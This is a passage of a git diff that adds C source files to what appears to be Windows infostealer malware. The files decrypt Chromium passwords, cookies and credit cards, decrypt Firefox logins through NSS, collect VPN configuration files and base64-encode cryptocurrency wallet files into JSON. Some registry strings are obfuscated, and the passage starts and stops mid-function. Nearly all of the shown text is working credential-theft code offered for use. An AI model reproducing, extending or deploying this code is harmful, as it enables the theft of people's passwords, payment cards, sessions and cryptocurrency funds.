(GetFileAttributesA(db_path) != INVALID_FILE_ATTRIBUTES) + grab_chromium_cookies(&ck_buf, bp->name, db_path, master_key); + + /* Credit cards */ + snprintf(db_path, sizeof(db_path), "%s\\Web Data", profiles[p]); + if (GetFileAttributesA(db_path) != INVALID_FILE_ATTRIBUTES) + grab_chromium_cards(&cc_buf, bp->name, db_path, master_key); + } + + SecureZeroMemory(master_key, sizeof(master_key)); + } + + jb_char(&pw_buf, ']'); + jb_char(&ck_buf, ']'); + jb_char(&cc_buf, ']'); + + /* Now splice the temp buffers back into the main JSON. + We already wrote "chrome_passwords":[] — we need to replace it. + Simpler approach: remove the empty array and write the real one. */ + + /* Find and replace the empty "chrome_passwords":[] we wrote earlier */ + const char *empty_pw = "\"chrome_passwords\":[]"; + char *pos = strstr(j->buf, empty_pw); + if (pos) { + /* Remove it and write real data */ + size_t empty_len = strlen(empty_pw); + size_t after_len = j->len - (pos - j->buf) - empty_len; + char *after = (char *)malloc(after_len + 1); + if (after) { + memcpy(after, pos + empty_len, after_len); + after[after_len] = '\0'; + + j->len = pos - j->buf; + j->buf[j->len] = '\0'; + + /* Write chrome_passwords with real data */ + jb_raw(j, "\"chrome_passwords\":"); + jb_raw(j, pw_buf.buf); + + /* chrome_cookies */ + jb_char(j, ','); + jb_raw(j, "\"chrome_cookies\":"); + jb_raw(j, ck_buf.buf); + + /* chrome_cards */ + jb_char(j, ','); + jb_raw(j, "\"chrome_cards\":"); + jb_raw(j, cc_buf.buf); + + /* Append whatever was after */ + jb_raw(j, after); + free(after); + } + } else { + /* Fallback: just append the arrays */ + jb_begin_arr(j, "chrome_cookies"); + jb_end_arr(j); + jb_begin_arr(j, "chrome_cards"); + jb_end_arr(j); + + /* Splice in the real data */ + /* This path shouldn't normally be hit */ + } + + free(pw_buf.buf); + free(ck_buf.buf); + free(cc_buf.buf); +} diff --git a/src/commands/creds_firefox.c b/src/commands/creds_firefox.c new file mode 100755 index 0000000..044e7e0 --- /dev/null +++ b/src/commands/creds_firefox.c @@ -0,0 +1,438 @@ +#include "zerin.h" +#include "commands/creds_json.h" +#include +#include +#include +#include + +/* ── Firefox credential grabber ──────────────────────────────────────── + Dynamically loads nss3.dll from Firefox install directory and uses + PK11SDR_Decrypt to decrypt saved passwords from logins.json. */ + +/* NSS types */ +typedef enum { SECSuccess = 0, SECFailure = -1, SECWouldBlock = -2 } SECStatus; + +typedef struct { + unsigned int type; + unsigned char *data; + unsigned int len; +} SECItem; + +/* NSS function pointers */ +typedef SECStatus (*NSS_Init_fn)(const char *configdir); +typedef SECStatus (*NSS_Shutdown_fn)(void); +typedef SECStatus (*PK11SDR_Decrypt_fn)(SECItem *data, SECItem *result, void *cx); +typedef void (*SECITEM_FreeItem_fn)(SECItem *item, int freeit); + +/* ── Find Firefox install directory via registry ───────────────────── */ + +static int find_firefox_path(char *path, size_t cap) { + HKEY hKey; + /* Try 64-bit registry first */ + char ff_reg[64]; + obf_decrypt_to(OBF_FIREFOX_REG, ff_reg, sizeof(ff_reg)); + if (RegOpenKeyExA(HKEY_LOCAL_MACHINE, ff_reg, 0, + KEY_READ | KEY_WOW64_64KEY, &hKey) == ERROR_SUCCESS) { + /* Get current version */ + char version[128] = ""; + DWORD vsize = sizeof(version); + RegQueryValueExA(hKey, "CurrentVersion", NULL, NULL, (BYTE *)version, &vsize); + RegCloseKey(hKey); + + if (version[0]) { + char subkey[256]; + char ff_regmain[128]; + obf_decrypt_to(OBF_FIREFOX_REGMAIN, ff_regmain, sizeof(ff_regmain)); + snprintf(subkey, sizeof(subkey), ff_regmain, version); + obf_wipe(ff_regmain, sizeof(ff_regmain)); + if (RegOpenKeyExA(HKEY_LOCAL_MACHINE, subkey, 0, + KEY_READ | KEY_WOW64_64KEY, &hKey) == ERROR_SUCCESS) { + char install_dir[MAX_PATH] = ""; + DWORD dsize = sizeof(install_dir); + if (RegQueryValueExA(hKey, "Install Directory", NULL, NULL, + (BYTE *)install_dir, &dsize) == ERROR_SUCCESS) { + RegCloseKey(hKey); + obf_wipe(ff_reg, sizeof(ff_reg)); + strncpy(path, install_dir, cap - 1); + path[cap - 1] = '\0'; + return 0; + } + RegCloseKey(hKey); + } + } + } + obf_wipe(ff_reg, sizeof(ff_reg)); + + /* Fallback: check common install paths */ + char ff_x64[64], ff_x86[64]; + obf_decrypt_to(OBF_FIREFOX_X64, ff_x64, sizeof(ff_x64)); + obf_decrypt_to(OBF_FIREFOX_X86, ff_x86, sizeof(ff_x86)); + const char *common_paths[] = { ff_x64, ff_x86 }; + for (int i = 0; i < 2; i++) { + char dll_path[MAX_PATH]; + snprintf(dll_path, sizeof(dll_path), "%s\\nss3.dll", common_paths[i]); + if (GetFileAttributesA(dll_path) != INVALID_FILE_ATTRIBUTES) { + strncpy(path, common_paths[i], cap - 1); + path[cap - 1] = '\0'; + obf_wipe(ff_x64, sizeof(ff_x64)); + obf_wipe(ff_x86, sizeof(ff_x86)); + return 0; + } + } + obf_wipe(ff_x64, sizeof(ff_x64)); + obf_wipe(ff_x86, sizeof(ff_x86)); + + return -1; +} + +/* ── Find Firefox profile directories from profiles.ini ────────────── */ + +typedef struct { + char path[MAX_PATH]; +} ff_profile_t; + +static int find_firefox_profiles(ff_profile_t *profiles, int max_profiles) { + int count = 0; + const char *appdata = getenv("APPDATA"); + if (!appdata) return 0; + + char ini_path[MAX_PATH]; + snprintf(ini_path, sizeof(ini_path), "%s\\Mozilla\\Firefox\\profiles.ini", appdata); + + HANDLE hf = CreateFileA(ini_path, GENERIC_READ, FILE_SHARE_READ, + NULL, OPEN_EXISTING, 0, NULL); + if (hf == INVALID_HANDLE_VALUE) return 0; + + DWORD fsize = GetFileSize(hf, NULL); + if (fsize == 0 || fsize > 1024 * 1024) { CloseHandle(hf); return 0; } + + char *data = (char *)malloc(fsize + 1); + if (!data) { CloseHandle(hf); return 0; } + + DWORD bytesRead; + ReadFile(hf, data, fsize, &bytesRead, NULL); + CloseHandle(hf); + data[bytesRead] = '\0'; + + /* Parse INI: look for Path= and IsRelative= in each [Profile*] section */ + char *line = strtok(data, "\r\n"); + int is_relative = 1; + char profile_path[MAX_PATH] = ""; + + while (line && count < max_profiles) { + /* Skip whitespace */ + while (*line == ' ' || *line == '\t') line++; + + if (line[0] == '[') { + /* New section — save previous profile if valid */ + if (profile_path[0] && count < max_profiles) { + if (is_relative) { + snprintf(profiles[count].path, MAX_PATH, + "%s\\Mozilla\\Firefox\\%s", appdata, profile_path); + } else { + strncpy(profiles[count].path, profile_path, MAX_PATH - 1); + } + /* Verify the profile directory exists */ + if (GetFileAttributesA(profiles[count].path) != INVALID_FILE_ATTRIBUTES) + count++; + } + profile_path[0] = '\0'; + is_relative = 1; + } else if (strncmp(line, "Path=", 5) == 0) { + strncpy(profile_path, line + 5, MAX_PATH - 1); + /* Normalize slashes */ + for (char *c = profile_path; *c; c++) + if (*c == '/') *c = '\\'; + } else if (strncmp(line, "IsRelative=", 11) == 0) { + is_relative = (line[11] == '1'); + } + + line = strtok(NULL, "\r\n"); + } + + /* Save last profile */ + if (profile_path[0] && count < max_profiles) { + if (is_relative) { + snprintf(profiles[count].path, MAX_PATH, + "%s\\Mozilla\\Firefox\\%s", appdata, profile_path); + } else { + strncpy(profiles[count].path, profile_path, MAX_PATH - 1); + } + if (GetFileAttributesA(profiles[count].path) != INVALID_FILE_ATTRIBUTES) + count++; + } + + free(data); + return count; +} + +/* ── Simple JSON string extractor for logins.json ──────────────────── */ + +static char *json_extract_string(const char *json, const char *key) { + char needle[128]; + snprintf(needle, sizeof(needle), "\"%s\":\"", key); + const char *start = strstr(json, needle); + if (!start) { + /* Try with space after colon */ + snprintf(needle, sizeof(needle), "\"%s\": \"", key); + start = strstr(json, needle); + if (!start) return NULL; + } + start += strlen(needle); + const char *end = strchr(start, '"'); + if (!end) return NULL; + + size_t vlen = end - start; + char *val = (char *)malloc(vlen + 1); + if (!val) return NULL; + memcpy(val, start, vlen); + val[vlen] = '\0'; + return val; +} + +/* ── Base64 decode for Firefox encrypted data ──────────────────────── */ + +static const unsigned char ff_b64_table[256] = { + ['A']=0,['B']=1,['C']=2,['D']=3,['E']=4,['F']=5,['G']=6,['H']=7, + ['I']=8,['J']=9,['K']=10,['L']=11,['M']=12,['N']=13,['O']=14,['P']=15, + ['Q']=16,['R']=17,['S']=18,['T']=19,['U']=20,['V']=21,['W']=22,['X']=23, + ['Y']=24,['Z']=25, + ['a']=26,['b']=27,['c']=28,['d']=29,['e']=30,['f']=31,['g']=32,['h']=33, + ['i']=34,['j']=35,['k']=36,['l']=37,['m']=38,['n']=39,['o']=40,['p']=41, + ['q']=42,['r']=43,['s']=44,['t']=45,['u']=46,['v']=47,['w']=48,['x']=49, + ['y']=50,['z']=51, + ['0']=52,['1']=53,['2']=54,['3']=55,['4']=56,['5']=57,['6']=58,['7']=59, + ['8']=60,['9']=61,['+']=62,['/']=63, +}; + +static int ff_base64_decode(const char *in, size_t in_len, uint8_t **out, size_t *out_len) { + size_t max_out = (in_len * 3) / 4 + 4; + *out = (uint8_t *)malloc(max_out); + if (!*out) return -1; + + size_t olen = 0; + uint32_t accum = 0; + int bits = 0; + for (size_t i = 0; i < in_len; i++) { + char c = in[i]; + if (c == '=' || c == '\n' || c == '\r' || c == ' ') continue; + accum = (accum << 6) | ff_b64_table[(unsigned char)c]; + bits += 6; + if (bits >= 8) { + bits -= 8; + (*out)[olen++] = (uint8_t)(accum >> bits); + } + } + *out_len = olen; + return 0; +} + +/* ── Check if a process is running by name ─────────────────────────── */ + +static int is_process_running(const char *exe_name) { + HANDLE snap = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0); + if (snap == INVALID_HANDLE_VALUE) return 0; + PROCESSENTRY32 pe = { 0 }; + pe.dwSize = sizeof(pe); + BOOL ok = Process32First(snap, &pe); + while (ok) { + if (_stricmp(pe.szExeFile, exe_name) == 0) { + CloseHandle(snap); + return 1; + } + ok = Process32Next(snap, &pe); + } + CloseHandle(snap); + return 0; +} + +/* ── NSS_Init with timeout (blocks if profile is locked) ──────────── */ + +typedef struct { + NSS_Init_fn fn; + const char *config; + SECStatus result; +} nss_init_ctx_t; + +static DWORD WINAPI nss_init_thread_fn(LPVOID arg) { + nss_init_ctx_t *ctx = (nss_init_ctx_t *)arg; + ctx->result = ctx->fn(ctx->config); + return 0; +} + +static SECStatus nss_init_with_timeout(NSS_Init_fn fn, const char *config, DWORD timeout_ms) { + nss_init_ctx_t ctx = { fn, config, SECFailure }; + HANDLE hThread = CreateThread(NULL, 0, nss_init_thread_fn, &ctx, 0, NULL); + if (!hThread) return SECFailure; + + DWORD wait = WaitForSingleObject(hThread, timeout_ms); + if (wait == WAIT_TIMEOUT) { + /* NSS_Init is stuck — can't safely TerminateThread (heap corruption risk) + so just detach and abandon. The thread will eventually finish or die + when the process exits. Mark as failed. */ + CloseHandle(hThread); + return SECFailure; + } + CloseHandle(hThread); + return ctx.result; +} + +/* ── Main Firefox grabber ──────────────────────────────────────────── */ + +void creds_grab_firefox(json_buf_t *j, json_buf_t *errors) { + jb_begin_arr(j, "firefox_passwords"); + + /* Skip if Firefox is running — NSS_Init blocks on locked profile DBs */ + if (is_process_running("firefox.exe")) { + jb_add_error(errors, "firefox", "Firefox is running — skipped to avoid hang"); + jb_end_arr(j); + return; + } + + /* Find Firefox install dir for nss3.dll */ + char ff_dir[MAX_PATH]; + if (find_firefox_path(ff_dir, sizeof(ff_dir)) < 0) { + jb_add_error(errors, "firefox", "Firefox not installed"); + jb_end_arr(j); + return; + } + + /* Add Firefox dir to DLL search path and load nss3.dll */ + SetDllDirectoryA(ff_dir); + + char nss_path[MAX_PATH]; + snprintf(nss_path, sizeof(nss_path), "%s\\nss3.dll", ff_dir); + + HMODULE hNSS = LoadLibraryA(nss_path); + if (!hNSS) { + jb_add_error(errors, "firefox", "failed to load nss3.dll"); + SetDllDirectoryA(NULL); + jb_end_arr(j); + return; + } + + NSS_Init_fn pNSS_Init = (NSS_Init_fn)GetProcAddress(hNSS, "NSS_Init"); + NSS_Shutdown_fn pNSS_Shutdown = (NSS_Shutdown_fn)GetProcAddress(hNSS, "NSS_Shutdown"); + PK11SDR_Decrypt_fn pPK11SDR_Decrypt = (PK11SDR_Decrypt_fn)GetProcAddress(hNSS, "PK11SDR_Decrypt"); + SECITEM_FreeItem_fn pSECITEM_FreeItem = (SECITEM_FreeItem_fn)GetProcAddress(hNSS, "SECITEM_FreeItem"); + + if (!pNSS_Init || !pNSS_Shutdown || !pPK11SDR_Decrypt || !pSECITEM_FreeItem) { + jb_add_error(errors, "firefox", "failed to resolve NSS functions"); + FreeLibrary(hNSS); + SetDllDirectoryA(NULL); + jb_end_arr(j); + return; + } + + /* Find Firefox profiles */ + ff_profile_t profiles[16]; + int nprofiles = find_firefox_profiles(profiles, 16); + + if (nprofiles == 0) { + jb_add_error(errors, "firefox", "no Firefox profiles found"); + FreeLibrary(hNSS); + SetDllDirectoryA(NULL); + jb_end_arr(j); + return; + } + + for (int p = 0; p < nprofiles; p++) { + /* Initialize NSS with this profile */ + char nss_config[MAX_PATH + 16]; + snprintf(nss_config, sizeof(nss_config), "sql:%s", profiles[p].path); + + if (nss_init_with_timeout(pNSS_Init, nss_config, 5000) != SECSuccess) { + /* Try without sql: prefix — 5 second timeout */ + if (nss_init_with_timeout(pNSS_Init, profiles[p].path, 5000) != SECSuccess) + continue; + } + + /* Read logins.json */ + char logins_path[MAX_PATH]; + snprintf(logins_path, sizeof(logins_path), "%s\\logins.json", profiles[p].path); + + HANDLE hf = CreateFileA(logins_path, GENERIC_READ, FILE_SHARE_READ, + NULL, OPEN_EXISTING, 0, NULL); + if (hf == INVALID_HANDLE_VALUE) { + pNSS_Shutdown(); + continue; + } + + DWORD fsize = GetFileSize(hf, NULL); + if (fsize == 0 || fsize > 10 * 1024 * 1024) { + CloseHandle(hf); + pNSS_Shutdown(); + continue; + } + + char *data = (char *)malloc(fsize + 1); + if (!data) { CloseHandle(hf); pNSS_Shutdown(); continue; } + + DWORD bytesRead; + ReadFile(hf, data, fsize, &bytesRead, NULL); + CloseHandle(hf); + data[bytesRead] = '\0'; + + /* Parse each login entry — find "encryptedUsername" and "encryptedPassword" */ + const char *cursor = data; + while ((cursor = strstr(cursor, "\"hostname\"")) != NULL) { + /* Extract fields */ + char *hostname = json_extract_string(cursor, "hostname"); + char *enc_user = json_extract_string(cursor, "encryptedUsername"); + char *enc_pass = json_extract_string(cursor, "encryptedPassword"); + + if (enc_user && enc_pass) { + /* Base64 decode and decrypt */ + uint8_t *user_data = NULL, *pass_data = NULL; + size_t user_len = 0, pass_len = 0; + + char username[512] = "", password[512] = ""; + + if (ff_base64_decode(enc_user, strlen(enc_user), &user_data, &user_len) == 0 && user_data) { + SECItem input = { 0, user_data, (unsigned int)user_len }; + SECItem output = { 0, NULL, 0 }; + if (pPK11SDR_Decrypt(&input, &output, NULL) == SECSuccess && output.data) { + size_t cplen = output.len; + if (cplen >= sizeof(username)) cplen = sizeof(username) - 1; + memcpy(username, output.data, cplen); + username[cplen] = '\0'; + pSECITEM_FreeItem(&output, 0); + } + free(user_data); + } + + if (ff_base64_decode(enc_pass, strlen(enc_pass), &pass_data, &pass_len) == 0 && pass_data) { + SECItem input = { 0, pass_data, (unsigned int)pass_len }; + SECItem output = { 0, NULL, 0 }; + if (pPK11SDR_Decrypt(&input, &output, NULL) == SECSuccess && output.data) { + size_t cplen = output.len; + if (cplen >= sizeof(password)) cplen = sizeof(password) - 1; + memcpy(password, output.data, cplen); + password[cplen] = '\0'; + pSECITEM_FreeItem(&output, 0); + } + free(pass_data); + } + + jb_begin_obj(j); + jb_kv(j, "url", hostname ? hostname : ""); + jb_kv(j, "username", username); + jb_kv(j, "password", password); + jb_end_obj(j); + } + + free(hostname); + free(enc_user); + free(enc_pass); + + cursor++; + } + + free(data); + pNSS_Shutdown(); + } + + FreeLibrary(hNSS); + SetDllDirectoryA(NULL); + jb_end_arr(j); +} diff --git a/src/commands/creds_json.h b/src/commands/creds_json.h new file mode 100755 index 0000000..c03dea2 --- /dev/null +++ b/src/commands/creds_json.h @@ -0,0 +1,204 @@ +#ifndef CREDS_JSON_H +#define CREDS_JSON_H + +#include +#include +#include + +/* Lightweight JSON builder that appends to a (buf, len, cap) triple. + All functions return 0 on success, -1 if the buffer would overflow. */ + +typedef struct { + char *buf; + size_t len; + size_t cap; +} json_buf_t; + +static inline int jb_ensure(json_buf_t *j, size_t extra) { + if (j->len + extra >= j->cap) { + size_t need = j->len + extra + 1; + size_t newcap = j->cap * 2; + if (newcap < need) newcap = need; + if (newcap > 3 * 1024 * 1024) return -1; /* 3 MB hard cap */ + char *tmp = (char *)realloc(j->buf, newcap); + if (!tmp) return -1; + j->buf = tmp; + j->cap = newcap; + } + return 0; +} + +static inline int jb_raw(json_buf_t *j, const char *s) { + size_t slen = strlen(s); + if (jb_ensure(j, slen) < 0) return -1; + memcpy(j->buf + j->len, s, slen); + j->len += slen; + j->buf[j->len] = '\0'; + return 0; +} + +static inline int jb_char(json_buf_t *j, char c) { + if (jb_ensure(j, 1) < 0) return -1; + j->buf[j->len++] = c; + j->buf[j->len] = '\0'; + return 0; +} + +/* Write a JSON-escaped string (with surrounding quotes). + Validates UTF-8: invalid bytes are escaped as \uXXXX to guarantee + the output is valid UTF-8 JSON (servers reject invalid UTF-8). */ +static inline int jb_str(json_buf_t *j, const char *s) { + if (!s) s = ""; + if (jb_char(j, '"') < 0) return -1; + const unsigned char *p = (const unsigned char *)s; + while (*p) { + unsigned char c = *p; + /* JSON special characters */ + if (c == '"') { if (jb_raw(j, "\\\"") < 0) return -1; p++; continue; } + if (c == '\\') { if (jb_raw(j, "\\\\") < 0) return -1; p++; continue; } + if (c == '\n') { if (jb_raw(j, "\\n") < 0) return -1; p++; continue; } + if (c == '\r') { if (jb_raw(j, "\\r") < 0) return -1; p++; continue; } + if (c == '\t') { if (jb_raw(j, "\\t") < 0) return -1; p++; continue; } + /* Control characters → \uXXXX */ + if (c < 0x20) { + char esc[8]; + snprintf(esc, sizeof(esc), "\\u%04x", c); + if (jb_raw(j, esc) < 0) return -1; + p++; continue; + } + /* ASCII printable (0x20-0x7E) — pass through */ + if (c <= 0x7E) { + if (jb_char(j, (char)c) < 0) return -1; + p++; continue; + } + /* 0x7F (DEL) — escape */ + if (c == 0x7F) { + if (jb_raw(j, "\\u007f") < 0) return -1; + p++; continue; + } + /* Bytes >= 0x80: validate UTF-8 sequences. + Valid: pass through. Invalid: escape as \uXXXX per byte. */ + int seqlen = 0; + if ((c & 0xE0) == 0xC0) seqlen = 2; /* 110xxxxx */ + else if ((c & 0xF0) == 0xE0) seqlen = 3; /* 1110xxxx */ + else if ((c & 0xF8) == 0xF0) seqlen = 4; /* 11110xxx */ + + if (seqlen >= 2) { + /* Check continuation bytes (10xxxxxx) */ + int valid = 1; + for (int i = 1; i < seqlen; i++) { + if ((p[i] & 0xC0) != 0x80) { valid = 0; break; } + } + if (valid && p[seqlen - 1] != 0) { + /* Valid UTF-8 sequence — pass through all bytes */ + for (int i = 0; i < seqlen; i++) { + if (jb_char(j, (char)p[i]) < 0) return -1; + } + p += seqlen; + continue; + } + } + /* Invalid UTF-8 byte — escape it */ + char esc[8]; + snprintf(esc, sizeof(esc), "\\u%04x", c); + if (jb_raw(j, esc) < 0) return -1; + p++; + } + return jb_char(j, '"'); +} + +/* "key": "value" — adds comma if not first in object */ +static inline int jb_kv(json_buf_t *j, const char *key, const char *val) { + /* Check if last non-whitespace char needs comma */ + if (j->len > 0) { + char last = j->buf[j->len - 1]; + if (last != '{' && last != '[' && last != ',') + if (jb_char(j, ',') < 0) return -1; + } + if (jb_str(j, key) < 0) return -1; + if (jb_char(j, ':') < 0) return -1; + return jb_str(j, val); +} + +/* "key": number */ +static inline int jb_kv_int(json_buf_t *j, const char *key, int val) { + if (j->len > 0) { + char last = j->buf[j->len - 1]; + if (last != '{' && last != '[' && last != ',') + if (jb_char(j, ',') < 0) return -1; + } + if (jb_str(j, key) < 0) return -1; + if (jb_char(j, ':') < 0) return -1; + char num[32]; + snprintf(num, sizeof(num), "%d", val); + return jb_raw(j, num); +} + +/* "key": true/false */ +static inline int jb_kv_bool(json_buf_t *j, const char *key, int val) { + if (j->len > 0) { + char last = j->buf[j->len - 1]; + if (last != '{' && last != '[' && last != ',') + if (jb_char(j, ',') < 0) return -1; + } + if (jb_str(j, key) < 0) return -1; + if (jb_char(j, ':') < 0) return -1; + return jb_raw(j, val ? "true" : "false"); +} + +/* Begin a named array: "key": [ */ +static inline int jb_begin_arr(json_buf_t *j, const char *key) { + if (j->len > 0) { + char last = j->buf[j->len - 1]; + if (last != '{' && last != '[' && last != ',') + if (jb_char(j, ',') < 0) return -1; + } + if (jb_str(j, key) < 0) return -1; + if (jb_char(j, ':') < 0) return -1; + return jb_char(j, '['); +} + +/* Begin a named object: "key": { */ +static inline int jb_begin_obj_named(json_buf_t *j, const char *key) { + if (j->len > 0) { + char last = j->buf[j->len - 1]; + if (last != '{' && last != '[' && last != ',') + if (jb_char(j, ',') < 0) return -1; + } + if (jb_str(j, key) < 0) return -1; + if (jb_char(j, ':') < 0) return -1; + return jb_char(j, '{'); +} + +/* Begin anonymous object in array */ +static inline int jb_begin_obj(json_buf_t *j) { + if (j->len > 0) { + char last = j->buf[j->len - 1]; + if (last != '{' && last != '[' && last != ',') + if (jb_char(j, ',') < 0) return -1; + } + return jb_char(j, '{'); +} + +static inline int jb_end_obj(json_buf_t *j) { return jb_char(j, '}'); } +static inline int jb_end_arr(json_buf_t *j) { return jb_char(j, ']'); } + +/* Initialize a json_buf */ +static inline json_buf_t jb_init(size_t initial_cap) { + json_buf_t j; + j.cap = initial_cap > 256 ? initial_cap : 256; + j.buf = (char *)malloc(j.cap); + j.len = 0; + if (j.buf) j.buf[0] = '\0'; + return j; +} + +/* Add error entry to errors array */ +static inline int jb_add_error(json_buf_t *j, const char *source, const char *error) { + if (jb_begin_obj(j) < 0) return -1; + if (jb_kv(j, "source", source) < 0) return -1; + if (jb_kv(j, "error", error) < 0) return -1; + return jb_end_obj(j); +} + +#endif /* CREDS_JSON_H */ diff --git a/src/commands/creds_vpn.c b/src/commands/creds_vpn.c new file mode 100755 index 0000000..c379b39 --- /dev/null +++ b/src/commands/creds_vpn.c @@ -0,0 +1,149 @@ +#include "zerin.h" +#include "commands/creds_json.h" +#include +#include +#include + +/* ── VPN config extraction ──────────────────────────────────────────── + Grabs config files from ProtonVPN, OpenVPN, NordVPN. + Files are base64-encoded into JSON. */ + +#define VPN_FILE_MAX (512 * 1024) /* 512 KB per file */ + +/* Helper: build path from env var + suffix */ +static int build_path(char *out, size_t cap, const char *env, const char *suffix) { + const char *base = getenv(env); + if (!base) return -1; + snprintf(out, cap, "%s\\%s", base, suffix); + return 0; +} + +/* Helper: check if file/dir exists */ +static int path_exists(const char *path) { + DWORD attrs = GetFileAttributesA(path); + return (attrs != INVALID_FILE_ATTRIBUTES); +} + +/* Read file up to max_bytes, return base64-encoded malloc'd string. NULL on failure. */ +static char *read_file_b64(const char *path, size_t max_bytes) { + HANDLE hFile = CreateFileA(path, GENERIC_READ, FILE_SHARE_READ, + NULL, OPEN_EXISTING, 0, NULL); + if (hFile == INVALID_HANDLE_VALUE) return NULL; + + DWORD fsize = GetFileSize(hFile, NULL); + if (fsize == 0 || fsize > (DWORD)max_bytes) { + CloseHandle(hFile); + return NULL; + } + + uint8_t *data = (uint8_t *)malloc(fsize); + if (!data) { CloseHandle(hFile); return NULL; } + + DWORD bytesRead; + if (!ReadFile(hFile, data, fsize, &bytesRead, NULL) || bytesRead == 0) { + free(data); + CloseHandle(hFile); + return NULL; + } + CloseHandle(hFile); + + size_t b64_len = 0; + char *b64 = base64_encode(data, bytesRead, &b64_len); + free(data); + return b64; +} + +/* Grab all files matching a wildcard pattern, emit as JSON array entries */ +static void grab_vpn_wildcard(json_buf_t *files_arr, const char *dir, const char *pattern) { + char search[MAX_PATH]; + snprintf(search, sizeof(search), "%s\\%s", dir, pattern); + + WIN32_FIND_DATAA fd; + HANDLE hFind = FindFirstFileA(search, &fd); + if (hFind == INVALID_HANDLE_VALUE) return; + + do { + if (fd.dwFileAttributes & FILE_ATTRIBUTE_DIRECTORY) continue; + if (fd.nFileSizeLow > VPN_FILE_MAX) continue; + + char filepath[MAX_PATH]; + snprintf(filepath, sizeof(filepath), "%s\\%s", dir, fd.cFileName); + + char *b64 = read_file_b64(filepath, VPN_FILE_MAX); + if (!b64) continue; + + jb_begin_obj(files_arr); + jb_kv(files_arr, "name", fd.cFileName); + jb_kv(files_arr, "data", b64); + jb_end_obj(files_arr); + + free(b64); + } while (FindNextFileA(hFind, &fd)); + + FindClose(hFind); +} + +/* Grab a single named file, emit as JSON array entry */ +static void grab_vpn_file(json_buf_t *files_arr, const char *dir, const char *filename) { + char path[MAX_PATH]; + snprintf(path, sizeof(path), "%s\\%s", dir, filename); + + char *b64 = read_file_b64(path, VPN_FILE_MAX); + if (!b64) return; + + jb_begin_obj(files_arr); + jb_kv(files_arr, "name", filename); + jb_kv(files_arr, "data", b64); + jb_end_obj(files_arr); + + free(b64); +} + +/* ── Main VPN grabber ─────────────────────────────────────────────── */ + +void creds_grab_vpn(json_buf_t *j, json_buf_t *errors) { + (void)errors; + jb_begin_arr(j, "vpn"); + + char dir[MAX_PATH]; + + /* 1. ProtonVPN — user.config */ + if (build_path(dir, sizeof(dir), "LOCALAPPDATA", "ProtonVPN") == 0 && path_exists(dir)) { + jb_begin_obj(j); + jb_kv(j, "name", "ProtonVPN"); + jb_begin_arr(j, "files"); + grab_vpn_file(j, dir, "user.config"); + jb_end_arr(j); + jb_end_obj(j); + } + + /* 2. OpenVPN — *.ovpn configs */ + { + char ovpn_dir[MAX_PATH]; + const char *userprofile = getenv("USERPROFILE"); + if (userprofile) { + snprintf(ovpn_dir, sizeof(ovpn_dir), "%s\\OpenVPN\\config", userprofile); + if (path_exists(ovpn_dir)) { + jb_begin_obj(j); + jb_kv(j, "name", "OpenVPN"); + jb_begin_arr(j, "files"); + grab_vpn_wildcard(j, ovpn_dir, "*.ovpn"); + jb_end_arr(j); + jb_end_obj(j); + } + } + } + + /* 3. NordVPN — user.config + NordVPN.exe.config */ + if (build_path(dir, sizeof(dir), "LOCALAPPDATA", "NordVPN") == 0 && path_exists(dir)) { + jb_begin_obj(j); + jb_kv(j, "name", "NordVPN"); + jb_begin_arr(j, "files"); + grab_vpn_file(j, dir, "user.config"); + grab_vpn_file(j, dir, "NordVPN.exe.config"); + jb_end_arr(j); + jb_end_obj(j); + } + + jb_end_arr(j); +} diff --git a/src/commands/creds_wallets.c b/src/commands/creds_wallets.c new file mode 100755 index 0000000..1ed4696 --- /dev/null +++ b/src/commands/creds_wallets.c @@ -0,0 +1,224 @@ +#include "zerin.h" +#include "commands/creds_json.h" +#include +#include +#include +#include + +/* ── Crypto wallet extraction ───────────────────────────────────────── + Scans for desktop wallet files and base64-encodes key material. + Targets: Zcash, Armory, Bytecoin, Jaxx, Exodus, Ethereum, + Electrum, Atomic, Guarda, Coinomi */ + +#define WALLET_FILE_MAX (512 * 1024) /* 512 KB per file */ +#define WALLET_TOTAL_MAX (2 * 1024 * 1024) /* 2 MB per wallet */ + +/* Helper: build path from env var + suffix */ +static int build_path(char *out, size_t cap, const char *env, const char *suffix) { + const char *base = getenv(env); + if (!base) return -1; + snprintf(out, cap, "%s\\%s", base, suffix); + return 0; +} + +/* Helper: check if file/dir exists */ +static int path_exists(const char *path) { + DWORD attrs = GetFileAttributesA(path); + return (attrs != INVALID_FILE_ATTRIBUTES); +} + +/* Read file up to max_bytes, return base64-encoded malloc'd string. NULL on failure. */ +static char *read_file_b64(const char *path, size_t max_bytes) { + HANDLE hFile = CreateFileA(path, GENERIC_READ, FILE_SHARE_READ, + NULL, OPEN_EXISTING, 0, NULL); + if (hFile == INVALID_HANDLE_VALUE) return NULL; + + DWORD fsize = GetFileSize(hFile, NULL); + if (fsize == 0 || fsize > (DWORD)max_bytes) { + CloseHandle(hFile); + return NULL; + } + + uint8_t *data = (uint8_t *)malloc(fsize); + if (!data) { CloseHandle(hFile); return NULL; } + + DWORD bytesRead; + if (!ReadFile(hFile, data, fsize, &bytesRead, NULL) || bytesRead == 0) { + free(data); + CloseHandle(hFile); + return NULL; + } + CloseHandle(hFile); + + size_t b64_len = 0; + char *b64 = base64_encode(data, bytesRead, &b64_len); + free(data); + return b64; +} + +/* ── Per-wallet grabbers ──────────────────────────────────────────── */ + +typedef struct { + const char *name; /* display name */ + const char *env; /* environment variable */ + const char *subpath; /* path under env var */ +} wallet_def_t; + +/* Grab a single named file from a wallet directory */ +static void grab_single_file(json_buf_t *j, const char *wallet_name, + const char *dir, const char *filename) { + char path[MAX_PATH]; + snprintf(path, sizeof(path), "%s\\%s", dir, filename); + if (!path_exists(path)) return; + + char *b64 = read_file_b64(path, WALLET_FILE_MAX); + if (!b64) return; + + jb_begin_obj(j); + jb_kv(j, "name", wallet_name); + jb_begin_arr(j, "files"); + jb_begin_obj(j); + jb_kv(j, "name", filename); + jb_kv(j, "data", b64); + jb_end_obj(j); + jb_end_arr(j); + jb_end_obj(j); + + free(b64); +} + +/* Grab all files matching a wildcard pattern from a wallet directory. + Respects per-file and per-wallet size caps. */ +static void grab_wildcard_files(json_buf_t *j, const char *wallet_name, + const char *dir, const char *pattern) { + char search[MAX_PATH]; + snprintf(search, sizeof(search), "%s\\%s", dir, pattern); + + WIN32_FIND_DATAA fd; + HANDLE hFind = FindFirstFileA(search, &fd); + if (hFind == INVALID_HANDLE_VALUE) return; + + jb_begin_obj(j); + jb_kv(j, "name", wallet_name); + jb_begin_arr(j, "files"); + + 